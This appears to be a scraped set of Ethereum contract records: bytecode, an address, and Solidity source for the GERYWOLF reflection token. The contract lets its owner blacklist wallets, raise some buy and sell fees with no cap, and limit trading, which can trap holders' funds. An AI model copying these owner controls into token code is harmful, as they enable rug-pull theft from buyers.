bphJ456D5Z23iI03dD0VKnq3u5m40GBHl6jX90E7U4QlKcsnruL030C052L91oJw > // < u =="0.000000000000000001" : ] 000001820306550.556860000000000000 ; 000001870624899.426850000000000000 ] > // < 0x00000000000000000000000000000000000000000000000000AD9913FB2658DA > // < TEHRAN_Portfolio_I_metadata_line_35_____Qayen_Cement_20250515 > // < P0470BCzNVwuvg1I8b0y9Vb5Mwu38Wg3O01kQc5Q6371xfrn99FS2Ejy2Nk74IM7 > // < u =="0.000000000000000001" : ] 000001870624899.426850000000000000 ; 000001916006437.994380000000000000 ] > // < 0x00000000000000000000000000000000000000000000000000B2658DAB6B9804 > // < TEHRAN_Portfolio_I_metadata_line_36_____Isfahan_Cement_20250515 > // < yva9qPHPK9KRQxI2tvQ014Rzdy16z8Wu2aO0n2m28oBCgBPgU5YfBZRmElB6Gj2D > // < u =="0.000000000000000001" : ] 000001916006437.994380000000000000 ; 000001974212601.827640000000000000 ] > // < 0x00000000000000000000000000000000000000000000000000B6B9804BC468CC > // < TEHRAN_Portfolio_I_metadata_line_37_____Mazandaran_Cement_20250515 > // < v63MfSre8ZYIHEe9Y4KC5p7TkZ1yGRn5m1tcyY9xRHJuEXKy9e9D1x5QlBZ3QCsg > // < u =="0.000000000000000001" : ] 000001974212601.827640000000000000 ; 000002022950243.758070000000000000 ] > // < 0x00000000000000000000000000000000000000000000000000BC468CCC0EC6F0 > // < TEHRAN_Portfolio_I_metadata_line_38_____Tejarat_Bank_20250515 > // < GqHPds8351RtcMFWlC7Br4YizCVYqNs0cqebOof6c9AvePio0cuz494TQjtJa49j > // < u =="0.000000000000000001" : ] 000002022950243.758070000000000000 ; 000002061752131.332030000000000000 ] > // < 0x00000000000000000000000000000000000000000000000000C0EC6F0C49FBED > // < TEHRAN_Portfolio_I_metadata_line_39_____Ghazvin_Sugar_20250515 > // < 1BM3s10ziD4aeqRO5eS5H91Kk9810r9CD5P0do8T05NB4f43Z2rK8Gfs9Md6Q7rS > // < u =="0.000000000000000001" : ] 000002061752131.332030000000000000 ; 000002103894666.113420000000000000 ] > // < 0x00000000000000000000000000000000000000000000000000C49FBEDC8A49DB > // < TEHRAN_Portfolio_I_metadata_line_40_____Mashad_Wheel_20250515 > // < mKRtx4cQf930aNdKWa2CNyN23F8gLJZcqmBpp4K9R8DtA38hhu7x68B9KU1KK36I > // < u =="0.000000000000000001" : ] 000002103894666.113420000000000000 ; 000002140354551.050680000000000000 ] > // < 0x00000000000000000000000000000000000000000000000000C8A49DBCC1EBFF > }
0x6060604052600436106100a4576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100a9578063095ea7b31461013757806318160ddd1461019157806323b872dd146101ba578063313ce5671461023357806370a082311461026257806395d89b41146102af578063a9059cbb1461033d578063b5c8f31714610397578063dd62ed3e146103ac575b600080fd5b34156100b457600080fd5b6100bc610418565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100fc5780820151818401526020810190506100e1565b50505050905090810190601f1680156101295780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561014257600080fd5b610177600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506104b6565b604051808215151515815260200191505060405180910390f35b341561019c57600080fd5b6101a46105a8565b6040518082815260200191505060405180910390f35b34156101c557600080fd5b610219600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506105ae565b604051808215151515815260200191505060405180910390f35b341561023e57600080fd5b61024661081a565b604051808260ff1660ff16815260200191505060405180910390f35b341561026d57600080fd5b610299600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061082d565b6040518082815260200191505060405180910390f35b34156102ba57600080fd5b6102c2610845565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103025780820151818401526020810190506102e7565b50505050905090810190601f16801561032f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561034857600080fd5b61037d600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506108e3565b604051808215151515815260200191505060405180910390f35b34156103a257600080fd5b6103aa610a39565b005b34156103b757600080fd5b610402600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610ae8565b6040518082815260200191505060405180910390f35b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104ae5780601f10610483576101008083540402835291602001916104ae565b820191906000526020600020905b81548152906001019060200180831161049157829003601f168201915b505050505081565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60045481565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156105fd57600080fd5b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561068857600080fd5b816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555081600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600360009054906101000a900460ff1681565b60006020528060005260406000206000915090505481565b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108db5780601f106108b0576101008083540402835291602001916108db565b820191906000526020600020905b8154815290600101906020018083116108be57829003601f168201915b505050505081565b6000816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561093257600080fd5b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6004546000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6004546040518082815260200191505060405180910390a3565b60056020528160005260406000206020528060005260406000206000915091505054815600a165627a7a72305820fb3ed5cc694d6441d29ae467c0f1b7bec19bd54c8351c68d582cf60ebd5fe27a0029
{"success": true, "error": null, "results": {}}
583
0xdbd1c423a26c1cf9ea6fee72f981fac30fa2316b
// SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract GERYWOLF is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "GERYWOLF"; string private constant _symbol = "WOLF"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e11 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 6; uint256 private _taxFeeOnBuy = 5; uint256 private _redisFeeOnSell = 3; uint256 private _taxFeeOnSell = 9; uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _marketingAddress ; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 1250000000 * 10**9; uint256 public _maxWalletSize = 2500000000 * 10**9; uint256 public _swapTokensAtAmount = 12500000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; _marketingAddress = payable(_msgSender()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setProtections() external onlyOwner(){ IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); } function setTrading(bool _tradingOpen) public onlyOwner { require(!tradingOpen); tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { require(taxFeeOnBuy<=_taxFeeOnBuy||taxFeeOnSell<=_taxFeeOnSell); _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) external onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } function toggleSwap(bool _swapEnabled) external onlyOwner{ swapEnabled = _swapEnabled; } function setMaxTxnAmount(uint256 maxTxAmount) external onlyOwner { require(maxTxAmount > 5000000 * 10**9 ); _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101da5760003560e01c806374010ece11610102578063a2a957bb11610095578063c492f04611610064578063c492f04614610573578063dd62ed3e14610593578063ea1644d5146105d9578063f2fde38b146105f957600080fd5b8063a2a957bb146104ee578063a9059cbb1461050e578063bfd792841461052e578063c3c8cd801461055e57600080fd5b80638f70ccf7116100d15780638f70ccf71461046b5780638f9a55c01461048b57806395d89b41146104a157806398a5c315146104ce57600080fd5b806374010ece146103ea5780637d1db4a51461040a5780637f2feddc146104205780638da5cb5b1461044d57600080fd5b80632fd689e31161017a5780636d8aa8f8116101495780636d8aa8f8146103805780636fc3eaec146103a057806370a08231146103b5578063715018a6146103d557600080fd5b80632fd689e31461030e578063313ce5671461032457806349bd5a5e146103405780636b9990531461036057600080fd5b8063095ea7b3116101b6578063095ea7b3146102605780631694505e1461029057806318160ddd146102c857806323b872dd146102ee57600080fd5b8062b8cf2a146101e6578062d77dd81461020857806306fdde031461021d57600080fd5b366101e157005b600080fd5b3480156101f257600080fd5b50610206610201366004611b6e565b610619565b005b34801561021457600080fd5b506102066106b8565b34801561022957600080fd5b5060408051808201909152600881526723a2a92caba7a62360c11b60208201525b6040516102579190611c33565b60405180910390f35b34801561026c57600080fd5b5061028061027b366004611c88565b61089d565b6040519015158152602001610257565b34801561029c57600080fd5b506013546102b0906001600160a01b031681565b6040516001600160a01b039091168152602001610257565b3480156102d457600080fd5b5068056bc75e2d631000005b604051908152602001610257565b3480156102fa57600080fd5b50610280610309366004611cb4565b6108b4565b34801561031a57600080fd5b506102e060175481565b34801561033057600080fd5b5060405160098152602001610257565b34801561034c57600080fd5b506014546102b0906001600160a01b031681565b34801561036c57600080fd5b5061020661037b366004611cf5565b61091d565b34801561038c57600080fd5b5061020661039b366004611d22565b610968565b3480156103ac57600080fd5b506102066109b0565b3480156103c157600080fd5b506102e06103d0366004611cf5565b6109dd565b3480156103e157600080fd5b506102066109ff565b3480156103f657600080fd5b50610206610405366004611d3d565b610a73565b34801561041657600080fd5b506102e060155481565b34801561042c57600080fd5b506102e061043b366004611cf5565b60116020526000908152604090205481565b34801561045957600080fd5b506000546001600160a01b03166102b0565b34801561047757600080fd5b50610206610486366004611d22565b610ab5565b34801561049757600080fd5b506102e060165481565b3480156104ad57600080fd5b506040805180820190915260048152632ba7a62360e11b602082015261024a565b3480156104da57600080fd5b506102066104e9366004611d3d565b610b14565b3480156104fa57600080fd5b50610206610509366004611d56565b610b43565b34801561051a57600080fd5b50610280610529366004611c88565b610b9d565b34801561053a57600080fd5b50610280610549366004611cf5565b60106020526000908152604090205460ff1681565b34801561056a57600080fd5b50610206610baa565b34801561057f57600080fd5b5061020661058e366004611d88565b610be0565b34801561059f57600080fd5b506102e06105ae366004611e0c565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105e557600080fd5b506102066105f4366004611d3d565b610c81565b34801561060557600080fd5b50610206610614366004611cf5565b610cb0565b6000546001600160a01b0316331461064c5760405162461bcd60e51b815260040161064390611e45565b60405180910390fd5b60005b81518110156106b45760016010600084848151811061067057610670611e7a565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806106ac81611ea6565b91505061064f565b5050565b6000546001600160a01b031633146106e25760405162461bcd60e51b815260040161064390611e45565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a0155916004808301926020929190829003018186803b15801561074257600080fd5b505afa158015610756573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061077a9190611ec1565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156107c257600080fd5b505afa1580156107d6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107fa9190611ec1565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561084257600080fd5b505af1158015610856573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061087a9190611ec1565b601480546001600160a01b0319166001600160a01b039290921691909117905550565b60006108aa338484610d9a565b5060015b92915050565b60006108c1848484610ebe565b610913843361090e85604051806060016040528060288152602001611fc0602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906113fa565b610d9a565b5060019392505050565b6000546001600160a01b031633146109475760405162461bcd60e51b815260040161064390611e45565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146109925760405162461bcd60e51b815260040161064390611e45565b60148054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b0316146109d057600080fd5b476109da81611434565b50565b6001600160a01b0381166000908152600260205260408120546108ae9061146e565b6000546001600160a01b03163314610a295760405162461bcd60e51b815260040161064390611e45565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b03163314610a9d5760405162461bcd60e51b815260040161064390611e45565b6611c37937e080008111610ab057600080fd5b601555565b6000546001600160a01b03163314610adf5760405162461bcd60e51b815260040161064390611e45565b601454600160a01b900460ff1615610af657600080fd5b60148054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b03163314610b3e5760405162461bcd60e51b815260040161064390611e45565b601755565b6000546001600160a01b03163314610b6d5760405162461bcd60e51b815260040161064390611e45565b60095482111580610b805750600b548111155b610b8957600080fd5b600893909355600a91909155600955600b55565b60006108aa338484610ebe565b6012546001600160a01b0316336001600160a01b031614610bca57600080fd5b6000610bd5306109dd565b90506109da816114f2565b6000546001600160a01b03163314610c0a5760405162461bcd60e51b815260040161064390611e45565b60005b82811015610c7b578160056000868685818110610c2c57610c2c611e7a565b9050602002016020810190610c419190611cf5565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610c7381611ea6565b915050610c0d565b50505050565b6000546001600160a01b03163314610cab5760405162461bcd60e51b815260040161064390611e45565b601655565b6000546001600160a01b03163314610cda5760405162461bcd60e51b815260040161064390611e45565b6001600160a01b038116610d3f5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610643565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610dfc5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610643565b6001600160a01b038216610e5d5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610643565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610f225760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610643565b6001600160a01b038216610f845760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610643565b60008111610fe65760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610643565b6000546001600160a01b0384811691161480159061101257506000546001600160a01b03838116911614155b156112f357601454600160a01b900460ff166110ab576000546001600160a01b038481169116146110ab5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610643565b6015548111156110fd5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610643565b6001600160a01b03831660009081526010602052604090205460ff1615801561113f57506001600160a01b03821660009081526010602052604090205460ff16155b6111975760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610643565b6014546001600160a01b0383811691161461121c57601654816111b9846109dd565b6111c39190611ede565b1061121c5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610643565b6000611227306109dd565b6017546015549192508210159082106112405760155491505b8080156112575750601454600160a81b900460ff16155b801561127157506014546001600160a01b03868116911614155b80156112865750601454600160b01b900460ff165b80156112ab57506001600160a01b03851660009081526005602052604090205460ff16155b80156112d057506001600160a01b03841660009081526005602052604090205460ff16155b156112f0576112de826114f2565b4780156112ee576112ee47611434565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061133557506001600160a01b03831660009081526005602052604090205460ff165b8061136757506014546001600160a01b0385811691161480159061136757506014546001600160a01b03848116911614155b15611374575060006113ee565b6014546001600160a01b03858116911614801561139f57506013546001600160a01b03848116911614155b156113b157600854600c55600954600d555b6014546001600160a01b0384811691161480156113dc57506013546001600160a01b03858116911614155b156113ee57600a54600c55600b54600d555b610c7b8484848461167b565b6000818484111561141e5760405162461bcd60e51b81526004016106439190611c33565b50600061142b8486611ef6565b95945050505050565b6012546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156106b4573d6000803e3d6000fd5b60006006548211156114d55760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610643565b60006114df6116a9565b90506114eb83826116cc565b9392505050565b6014805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061153a5761153a611e7a565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561158e57600080fd5b505afa1580156115a2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115c69190611ec1565b816001815181106115d9576115d9611e7a565b6001600160a01b0392831660209182029290920101526013546115ff9130911684610d9a565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac94790611638908590600090869030904290600401611f0d565b600060405180830381600087803b15801561165257600080fd5b505af1158015611666573d6000803e3d6000fd5b50506014805460ff60a81b1916905550505050565b806116885761168861170e565b61169384848461173c565b80610c7b57610c7b600e54600c55600f54600d55565b60008060006116b6611833565b90925090506116c582826116cc565b9250505090565b60006114eb83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611875565b600c5415801561171e5750600d54155b1561172557565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061174e876118a3565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506117809087611900565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205